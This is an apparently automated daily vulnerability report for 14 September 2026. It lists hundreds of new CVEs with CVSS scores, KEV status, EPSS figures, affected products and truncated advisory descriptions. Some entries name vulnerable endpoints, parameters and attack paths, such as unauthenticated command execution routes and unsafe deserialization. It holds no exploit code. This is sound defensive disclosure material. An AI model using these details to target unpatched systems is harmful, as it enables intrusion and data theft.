

Daily Vulnerability Report - 2026-09-14

Window (UTC): 2026-09-14T00:00 to 2026-09-15T00:00 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-09-17 13:22:52 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
814	811	0	3	4	61	238	321	100	35

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76461	New	9.8	CRIT	Yes	0.02	cisco:asyncos, cisco:secure_email_gateway_c195, cisco:secure_email_gateway_c395, cisco:secure_email_gateway_c695, cisco:	A vulnerability in the email parsing of Cisco AsyncOS Software for Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system. This vulnerability is due to insufficient validation in the email parsing logic. An attacker could exploit this vulnerability by sending a crafted...
CVE-2026-65381	New	10.0	CRIT		0.002	apple:macos	A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A malicious app may be able to break out of its sandbox.
CVE-2026-82434	New	10.0	CRIT		0.005		Description When ZooKeeper authentication is configured, Storm deliberately retains `storm.zookeeper.topology.auth.payload` in the topology configuration, because workers need it. Nimbus then served that configuration verbatim to any caller holding read-only topology permissions, so a user whose only grant was the ability to view a topology received its ZooKeeper credential...
CVE-2026-16338	New	9.9	CRIT		0.006		IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to perform an arbitrary file write due to improper validation of file paths.
CVE-2026-20353	New	9.8	CRIT		0.004		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...
CVE-2026-54333	New	9.8	CRIT		0.004		UEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, and files. Prior to 1.14, MakeTable() in uefi_firmware/compression/Tiano/Decompress.c does not validate that bit-length values read from a crafted Tiano or EFI compressed firmware bitstream remain within the expected range from 0 through 16. The normal CompressedSection....
CVE-2026-54334	New	9.8	CRIT		0.004		UEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, and files. Prior to 1.14, ReadClen() in uefi_firmware/compression/Tiano/Decompress.c reads Number from GetBits(Sd, CBIT) with CBIT = 9 and can obtain 511 entries for the 510-element Sd->mClen heap array because its loop does not enforce Index < NC. The CharC == 2 run-len...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-55209	New	9.8	CRIT		0.004		resdata is software for reading and writing result files from the Eclipse reservoir simulator. Prior to 6.2.9, resdata insufficiently validates numeric fields, grid dimensions, keyword sizes, and array indexes while parsing untrusted GRDECL files in lib/resdata/rd_kw_grdecl.cpp and lib/resdata/rd_grid.cpp. Malformed COORD, ZCORN, CORSNUM, ACTNUM, or MAPAXES data can reach rd...
CVE-2026-57123	New	9.8	CRIT		0.005		PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, ToolsMCPServer.run_sse and launch_tools_mcp_server bind to 0.0.0.0 and create /sse and /messages/ routes without invoking the available SecurityConfig authentication, origin-validation, or DNS-rebinding controls. Any reachable client can list and invoke registered tools, and a browser can target a loca...
CVE-2026-57124	New	9.8	CRIT		0.006		PraisonAI is a multi-agent teams system. Prior to 4.6.59, the default UI host applications expose POST /api/mcp/connect without mandatory authentication and accept caller-controlled command and args values that PraisonAIUI passes to StdioMCPClient to start a local process. Because the UI commands bind to 0.0.0.0 by default, a reachable unauthenticated client can execute comm...
CVE-2026-57125	New	9.8	CRIT		0.004		PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.59 and praisonaiagents 1.6.59, the unauthenticated POST /api/v1/runs Jobs API accepts attacker-controlled agent_yaml, and the approve field can mark execute_command as YAML-approved before @require_approval checks critical tools. This chain allows a remote caller to cause a configured language model agent to inv...
CVE-2026-57127	New	9.8	CRIT		0.009		PraisonAI is a multi-agent teams system. Prior to 4.6.58, recipe serve installs APIKeyAuthMiddleware or JWTAuthMiddleware when an operator selects api-key or JWT authentication, but each middleware forwards requests when PRAISONAI_API_KEY or PRAISONAI_JWT_SECRET and the corresponding recipe value are absent. Unauthenticated clients can then reach recipe execution, input, and...
CVE-2026-57131	New	9.8	CRIT		0.01		PraisonAI is a multi-agent teams system. Prior to 4.6.58, praisonai.jobs.server.create_app mounts praisonai.jobs.router.create_router under /api/v1/runs without authentication or per-job authorization. Network clients can submit attacker-controlled prompts and agent configuration, list and read jobs, stream results, and cancel or delete other jobs, exposing service credentia...
CVE-2026-59178	New	9.8	CRIT		0.004	pip:esphome-device-builder	ESPHome Device Builder Dashboard is a dashboard for the ESPHome home management software. Prior to version 1.0.12, the dashboard reads its authentication credentials from ` \$ESPHOME_USERNAME ` and ` \$ESPHOME_PASSWORD `. Earlier versions, and the legacy ` esphome ` dashboard, read the bare ` \$USERNAME ` and ` \$PASSWORD ` instead. When the env vars were renamed the bare names were dropp...
CVE-2026-65414	New	9.8	CRIT		0.01	apple:ipados, apple:iphone_os, apple:macos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A remote attacker may be able to cause unexpected app termination or arbitrary code execution.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73370	New	9.8	CRIT		0.005		Incorrect Authorization vulnerability in Apache Syncope. Delegated administration security checks performed by Reconciliation service's pull and push, being incomplete, could accept calls by administrator not provided with adequate entitlements. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. ...
CVE-2026-73470	New	9.8	CRIT		0.005		Improper Privilege Management vulnerability in Apache Syncope. Delegations can be created or updated with Roles not owned by the delegating User, or not for the same Realm subtree under the delegation management was granted for. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recom...
CVE-2026-73579	New	9.8	CRIT		0.005		Incorrect Authorization vulnerability in Apache Syncope. Any search requests are transformed into SQL, Neo4J or Elasticsearch / Opensearch queries, depending on the actual deployment configuration. An important component of such transformation is the Realms filter, which ensures that the search results are matching the requester's permissions. For non-recursive search req...
CVE-2026-73668	New	9.8	CRIT		0.005		Incorrect Authorization vulnerability in Apache Syncope. An administrator with adequate entitlements in a given Realm may be able to read via REST the full Connector configuration, confidential properties included, scoped in another Realm and thus be able to effectively duplicate such Connector instance into the Realm they have administration rights for. This issue aff...
CVE-2026-75030	New	9.8	CRIT		0.006		Missing Authorization vulnerability in Apache Syncope. An administrator with task execution entitlements might be able to mass (de)provision group members, regardless of their group-related administration capabilities. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to ...
CVE-2026-76440	New	9.8	CRIT		0.005		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...
CVE-2026-76441	New	9.8	CRIT		0.005		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...
CVE-2026-76443	New	9.8	CRIT		0.004		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77051	New	9.8	CRIT		0.006		Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Apache Syncope. An administrator with adequate entitlements can achieve execution of arbitrary SQL via stacked queries, leveraging unsanitized entityKey and opEvent parameters. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7...
CVE-2026-77181	New	9.8	CRIT		0.005		Incorrect Authorization vulnerability in Apache Syncope. An administrator with ClientApp's update entitlement is unable to perform the related operation, while ClientApp's create entitlement is checked both for create and update operations on ClientApp. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through...
CVE-2026-78330	New	9.8	CRIT		0.006		Incorrect privilege assignment vulnerability in Apache Syncope. When the configured JWKS settings for internal JWT authentication are disclosed (at least protocol and key), an attacker can obtain admin privileges after completing a successful authentication and obtaining a valid low-privileges JWT. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0...
CVE-2026-82232	New	9.8	CRIT		0.006		Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Apache Syncope. An administrator with adequate entitlements can achieve execution of arbitrary SQL via stacked queries, leveraging unsanitized sort clauses for Task search. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from...
CVE-2026-82431	New	9.8	CRIT		0.005		Description `SimpleACLAuthorizer` evaluated the user-level command set by returning early when `nimbus.users` was empty, before `nimbus.groups` was considered. An operator who restricted cluster access by group alone, leaving `nimbus.users` unset, therefore received no restriction at all: every authenticated principal was permitted every user-level operation, including `sub...
CVE-2026-82435	New	9.8	CRIT		0.006		Description The worker's Netty message decoder is installed ahead of the SASL authentication handlers in the pipeline and acts on frames before any authentication has taken place. It allocated buffers sized from a length field carried in the frame, so a single frame from an unauthenticated peer able to reach a worker slot port could drive a large allocation. `storm.messagi...
CVE-2026-82439	New	9.8	CRIT		0.005		Description The DRPC server kept a map from function name to request queue and created an entry the first time a function name was seen. No code path ever removed an entry: request cleanup removed the request from its queue, and the shutdown path drained queues, but the queue object and its map entry remained for the life of the process. Function names come from the client...
CVE-2026-84520	New	9.8	CRIT		0.001	apple:macos	A buffer overflow was addressed with improved size validation. This issue is fixed in macOS Golden Gate 27. A local attacker may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-84561	New	9.8	CRIT		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A double free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84609	New	9.8	CRIT		0.002		A permissions issue was addressed with improved path validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to modify protected system files.
CVE-2026-86460	New	9.8	CRIT		0.006		Cypher injection vulnerability in the Neo4j persistence layer when processing some FIQL search conditions. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.
CVE-2026-90898	New	9.8	CRIT		0.003		Bifrost registers MCP clients through its management API. A stdio client is a command plus args. Bifrost starts that program in the gateway the moment the client is added. No MCP handshake required. The default is governance.auth_config.is_enabled=false. Auth off means every caller is a local admin. One unauthenticated POST /api/mcp/client is enough to run a program as th...
CVE-2026-12944	New	9.6	CRIT		0.002		IBM Langflow OSS 1.0.0 through 1.10.0 can allow attackers to execute arbitrary Python code with root privileges (UID=0) on the Langflow server by submitting components containing socket or urllib imports. This enables: (1) AWS credential theft via IMDSv1 SSRF with full IAM role permissions, (2) arbitrary file exfiltration from the container filesystem, and (3) lateral move...
CVE-2026-21391	New	9.5	CRIT		0.004		An improper validation vulnerability exists within PingAM where a well-crafted request allows arbitrary or protected ID Token claims to be set or overridden. In certain configurations this could allow an attacker to bypass authentication controls via spoofing leading to privilege escalation or impersonation.
CVE-2026-85192	New	9.4	CRIT		0.005		Joomla Extension - regularlabs.com - Authenticated, privileged remote code execution in Conditional Content extension for Joomla < 8.0.0 - Conditional Content Pro accepts inline PHP Condition Rules in article syntax. In affected versions, the PHP is passed to the Conditions evaluator without checking who authored the article. Joomla's normal Author text filter preserves the ...
CVE-2026-90680	New	9.4	CRIT		0.005		A security flaw has been discovered in D-Link DIR-823G 1.0.2B05_20181207. The impacted element is the function strcpyp of the file /HNAP1/SetStaticRouteSettings of the component HNAP1. The manipulation of the argument PAddress/SubnetMask/Gateway results in stack-based buffer overflow. The attack can be launched remotely.
CVE-2026-90692	New	9.4	CRIT		0.005		A vulnerability was detected in D-Link DIR-878 120B05. This affects the function SetDynamicDNSIPv6Settings of the component Dynamic DNS IPv6 Settings. The manipulation of the argument IPv6Address/Hostname results in stack-based buffer overflow. The attack may be launched remotely.
CVE-2026-90693	New	9.4	CRIT		0.005		A flaw has been found in D-Link DIR-878 120B05. This impacts the function SetWan3Settings of the component WAN Settings. This manipulation of the argument Primary/Secondary causes stack-based buffer overflow. Remote exploitation of the attack is possible.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90937	New	9.4	CRIT		0.003		froxlор versions before 2.2.5 fail to validate newline characters in subdomain redirect URLs, allowing authenticated customers to inject arbitrary nginx or Apache configuration directives. Attackers can supply URLs containing literal newlines that are written verbatim into vhost config files during cron rebuild, enabling web server configuration corruption, denial of service...
CVE-2026-67399	New	9.3	CRIT		0.007		Deserialization of untrusted data in WHMCS 9.0.0 before 9.0.8 and 8.0.0 before 8.13.7 allows remote attackers to execute arbitrary code.
CVE-2026-90919	New	9.3	CRIT		0.01		LightLLM through 1.2.0 contains a remote code execution vulnerability in the Config Server's unauthenticated /visual_register WebSocket endpoint that passes the first client frame directly to pickle.loads(). Attackers can reach the Config Server port and send a malicious serialized payload with a __reduce__ method to execute arbitrary code with Config Server process privileges.
CVE-2026-90942	New	9.3	CRIT		0.002		Casdoor through 4.4.0 fails to properly mask the instance-wide built-in certificate private key in /api/get-certs and /api/get-cert endpoints, allowing organization administrators to retrieve it. Attackers can use the exposed private key to forge JWT tokens for any user in any organization, including global administrators.
CVE-2026-90943	New	9.3	CRIT		0.002		parallax filament-comments through 3.0.0 contains a stored cross-site scripting vulnerability in comment body rendering that allows authenticated panel users to inject malicious scripts. Attackers can store XSS payloads in comment bodies that execute in the browsers of other users viewing those comments, including administrators, enabling session token theft and unauthorized...
CVE-2026-90945	New	9.3	CRIT		0.005		Crawlab through 0.6.3 uses a hard-coded HMAC-SHA256 secret for JWT token signing that cannot be overridden via configuration or environment variables. Unauthenticated attackers can forge valid administrator tokens to access administrative APIs and execute code on worker nodes.
CVE-2026-90961	New	9.3	CRIT		0.005		The LdapAuth and LinOTPAuth authentication plugins in MISP contain an authentication bypass vulnerability. Both LdapAuthenticate and LinOTPAAuthenticate replace CakePHP's FormAuthenticate class but fail to replicate its _checkFields() input validation guard. As a result, the email and password fields extracted from the login request are passed to downstream authentication log...
CVE-2026-12258	New	9.2	CRIT		0.004		Inadequate access control in Hiperdino's REST v1.0 API. The public endpoint 'customer/check' could allow an authenticated attacker to enter a telephone number or an email address. When the value entered belongs to a registered customer, the service returns the associated information (email address and telephone number). No authentication is required beyond a static bearer to...
CVE-2026-57578	New	9.2	CRIT		0.004		DotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-final, AuthorizeActionFilter performs no authorization because its explicit ICommandActionFilter.OnCommandExecutingAsync, IViewModelActionFilter.OnViewModelCreatedAsync, and IPresenterActionFilter.OnPresenterExecutingAsync implementations return completed tasks instead ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-43790	New	9.1	CRIT		0.003	apple:macos	The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-50006	New	9.1	CRIT		0.008		Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, anyquery server forwards unauthenticated SQL from its MySQL-compatible server port to SQLite without restricting ATTACH DATABASE filesystem targets. A remote attacker can select any path writable by the Anyquery server process, cause SQLite to create a database file there, and place attacker-controlled t...
CVE-2026-53713	New	9.1	CRIT		0.004		Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, to_absolute_normalized_path in internal/gatewayapi/luavalidator/security.lua does not collapse redundant separators before is_critical_path evaluates Lua submitted through EnvoyExtensionPolicy during default Strict validation. Li...
CVE-2026-57145	New	9.1	CRIT		0.004		PraisonAI is a multi-agent teams system. Prior to 4.6.62, src/praisonai/praisonai/tools/multiedit.py passes the LLM-controlled filepath parameter directly to open for reading and writing without traversal rejection, symlink resolution, a workspace boundary, or protected-path checks. Prompt-influenced agents can read files through edit and diff behavior or overwrite files acc...
CVE-2026-61534	New	9.1	CRIT		0.008		Yayson is a library for serializing and reading JSON API data in JavaScript. Prior to 4.3.0, Store and LegacyStore use attacker-controlled JSON:API type, id, and relationship names as keys in plain-object lookup tables in src/yayson/store.ts and src/yayson/legacy-store.ts. A document whose type is __proto__ causes model-cache writes to modify Object.prototype, with the attac...
CVE-2026-78299	New	9.1	CRIT		0.003		In Eclipse Embedded CDT versions 6.0 to 6.7 if the CMSIS-Pack archive extracts a compromised CMSIS pack the archive extraction can extract files to locations outside of the pack, allowing writing of arbitrary files to other locations on disk.
CVE-2026-82441	New	9.1	CRIT		0.004		Description A submitted topology carries two lists of blobstore keys, `dependency_jars` and `dependency_artifacts`, which the client fills in after uploading the corresponding blobs. Nimbus performed no validation of their contents on the submission path, yet acts on them in two places. During cleanup of a finished topology, Nimbus deletes the keys named in those lists, an...
CVE-2026-84625	New	9.1	CRIT		0.002		A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27, watchOS 27. An app may be able to fingerprint the user.
CVE-2026-86881	New	9.1	CRIT		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A certificate validation issue was addressed with improved certificate validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An attacker with a compromised intermediate certificate authority may be able to issue certificates with arbitrary extended key u...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-87785	New	9.1	CRIT		0.005		Authentication bypass by spoofing vulnerability in Apache Syncope. When the configured JWKS settings for internal JWT authentication are disclosed (at least protocol and key), an attacker can spoof another user's privileges after completing a successful authentication and obtaining a valid JWT. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M...
CVE-2026-87802	New	9.1	CRIT		0.003		Improper verification of cryptographic signature vulnerability in Apache Syncope. When SRA is configured for OAuth 2.0 without JWKS set URI assigned, an attacker can forge arbitrary JWTs to impersonate any user identity and permissions, gaining full access to services proxied by SRA. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4...
CVE-2023-46273	New	8.8	HIGH		0.003		Bonjour Gateway in Extreme Networks IQ Engine before 10.6r1a, and through 10.6r4 before 10.6r5, has an ah_bgd buffer overflow via ah_event_send.
CVE-2023-50461	New	8.8	HIGH		0.003		An issue was discovered in the direct_mail (aka Direct Mail) extension through 9.5.1 for TYPO3. The Configuration backend module of the extension allows an authenticated user to write to an arbitrary TSConfig page for folders configured as Direct Mail. Exploiting this may lead to Configuration Injection (TYPO3 10.4 and above) and to Arbitrary Code Execution (TYPO3 9.5 and be...
CVE-2026-13293	New	8.8	HIGH		0.006		IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow a remote authenticated attacker to execute arbitrary code on the system due to the deserialization of untrusted data.
CVE-2026-16428	New	8.8	HIGH		0.005		IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary code due to improper configuration of the XSLT transformation engine.
CVE-2026-16466	New	8.8	HIGH		0.009		IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary commands due to os command injection.
CVE-2026-16673	New	8.8	HIGH		0.004		IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary OS commands due to improper neutralization of special characters in the PxPeek name property.
CVE-2026-43686	New	8.8	HIGH		0.004	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Connecting to a malicious NFS server may lead to kernel memory corruption.
CVE-2026-43692	New	8.8	HIGH		0.005	apple:macos	A validation issue was addressed with improved input sanitization. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote user may cause an unexpected app termination or arbitrary code execution.
CVE-2026-43815	New	8.8	HIGH		0.002	apple:macos	A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.6. Connecting to a malicious afpfs server may lead to kernel memory corruption.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-55416	New	8.8	HIGH		0.006		Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, an authenticated user with reports_config permission can place attacker-controlled SQL fragments in the sql, from, where, and groupby fields of a Custom Reports configuration processed by bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php. The buildQueryString() method...
CVE-2026-61701	New	8.8	HIGH		0.005		Laravel MagicLink creates links for authentication without a password or for accessing private content. From 2.0.0 until 2.25.1, MagicLink stores serialized action objects in the magic_links.action database column and deserializes them through src/MagicLink.php and src/Actions/ResponseAction.php without sufficient integrity protection, while an unsafe legacy unserialize() fa...
CVE-2026-65374	New	8.8	HIGH		0.004	apple:macos	A memory corruption issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious WebDAV server may result in code execution.
CVE-2026-65390	New	8.8	HIGH		0.004	apple:ipados, apple:iphone_os, apple:macos, apple:safari, apple:tvos, apple:visionos, apple:watchos	An integer overflow was addressed with improved input validation. This issue is fixed in Safari 26.6.1, iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may lead to memory corruption.
CVE-2026-65391	New	8.8	HIGH		0.004	apple:ipados, apple:iphone_os, apple:macos, apple:safari, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in Safari 26.6.1, iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may lead to memory corruption.
CVE-2026-72524	New	8.8	HIGH		0.004		Incorrect Authorization vulnerability in Apache Doris allows an authenticated user to bypass privilege checks and access or modify data they are not authorized to. This issue affects Apache Doris: from 3.1.0 through 3.1.*, from 4.0.0 through 4.0.7, and from 4.1.0 through 4.1.3. Users are recommended to upgrade to a fixed release (4.0.8 or 4.1.4), which fixes the issue.
CVE-2026-82428	New	8.8	HIGH		0.007		Description Dependency artifacts uploaded with `storm jar --artifacts` were stored under a blob key derived only from the Maven coordinate, for example `dep---.jar`. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader caught `KeyAlreadyExistsException` and silently reused it, with no check tha...
CVE-2026-84512	New	8.8	HIGH		0.002	apple:macos	A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory.
CVE-2026-89023	New	8.8	HIGH		0.002		ThemeAtelier Domain For Sale plugin for WordPress before 3.5.2 contains a missing authorization vulnerability in its REST API endpoints that allows unauthenticated attackers to access and manipulate protected resources. Attackers can retrieve stored offer records, delete arbitrary offers by numeric identifier, and access dashboard statistics to disclose bidder contact inform...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90938	New	8.8	HIGH		0.003		LangBot's plugin runtime (pip package langbot_plugin) through 0.4.17 starts a debug WebSocket server on 0.0.0.0:5401 (/plugin/ws) whose authentication is gated on plugin_debug_key, which defaults to an empty string and is never set by the upstream repository, Docker image, or docker-compose (which additionally publishes port 5401 to the host); the key check is therefore skip...
CVE-2026-90944	New	8.8	HIGH		0.007		Krayin CRM through 2.2.6 exposes the POST /admin/mail/inbound-parse endpoint without authentication, allowing unauthenticated attackers to inject arbitrary emails into the CRM inbox. Attackers can supply crafted RFC 2822 messages with forged sender information and headers to insert emails with any subject and body, including replies to existing conversation threads.
CVE-2026-49250	New	8.7	HIGH		0.003		Conform, a type-safe form validation library, allows the parsing of nested objects in the form of object.property. From 1.8.0 until 1.19.4, the parseSubmission future API in packages/conform-dom/formdata.ts repeatedly scans FormData or URLSearchParams entries by each unique field name. An unauthenticated attacker can submit a crafted form containing many unique names, causin...
CVE-2026-68489	New	8.7	HIGH		0.004		Static Code Injection in Plesk extensions "Ruby" before 1.6.6 and "Node.js Toolkit" before 2.5.0 allows remote authenticated users to execute arbitrary code as root via custom environment variables.
CVE-2026-82028	New	8.7	HIGH		0.004		Magistrala before 1.0.0 contains a SQL injection vulnerability in the timescale-reader and postgres-reader HTTP API services that allows authenticated attackers to inject arbitrary SQL by supplying a malicious format query parameter that is interpolated directly into the FROM clause without parameterization or identifier quoting. Attackers with a self-registered account can ...
CVE-2026-82762	New	8.7	HIGH		0.012		Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
CVE-2026-82766	New	8.7	HIGH		0.012		Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in SGA1000. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
CVE-2026-82770	New	8.7	HIGH		0.005		Buffer overflow vulnerability exists in Contec RP-WAH-SR Series. If a remote attacker sends a specially crafted request to the product's web service, an arbitrary program may be executed.
CVE-2026-82772	New	8.7	HIGH		0.005		Buffer overflow vulnerability exists in Contec EC1000 series. If a remote attacker sends a specially crafted request to the product's web service, an arbitrary program may be executed.
CVE-2026-82774	New	8.7	HIGH		0.012		Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in CONPROSYS M2M Gateway Series and CONPROSYS M2M Controller Series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
CVE-2026-82777	New	8.7	HIGH		0.012		Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in CONPROSYS PAC Series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82779	New	8.7	HIGH		0.01		Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in CONPROSYS TM Series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
CVE-2026-82780	New	8.7	HIGH		0.003		Unrestricted upload of file with dangerous type issue exists in CONPROSYS TM Series. If a specially crafted file is uploaded by a remote authenticated attacker, an arbitrary command may be executed on the product.
CVE-2026-82787	New	8.7	HIGH		0.004		Missing authentication for critical function vulnerability exists in CPSL-08P1EN. If this vulnerability is exploited, an affected product may be operated by a remote attacker without authentication.
CVE-2026-82789	New	8.7	HIGH		0.003		An improper neutralization of directives in dynamically evaluated code ('Eval Injection') issue exists in CONPROSYS HMI System(CHS). If exploited, arbitrary code may be executed by an attacker who can log in to the product.
CVE-2026-82791	New	8.7	HIGH		0.01		Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
CVE-2026-82794	New	8.7	HIGH		0.01		SolarView Compact contains an OS command Injection vulnerability in in Schedule Settings. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
CVE-2026-84445	New	8.7	HIGH		0.007		gRPC-Go is the Go language implementation of gRPC. Prior to 1.82.2 and 1.83.2, servers created with xds.NewGRPCServer() allow internal/transport/http2_server.go to accept an RPC containing neither the :authority header nor the Host header, while RouteAndProcess in internal/xds/server/routing.go assumes that an authority value exists and indexes the empty slice. A remote client...
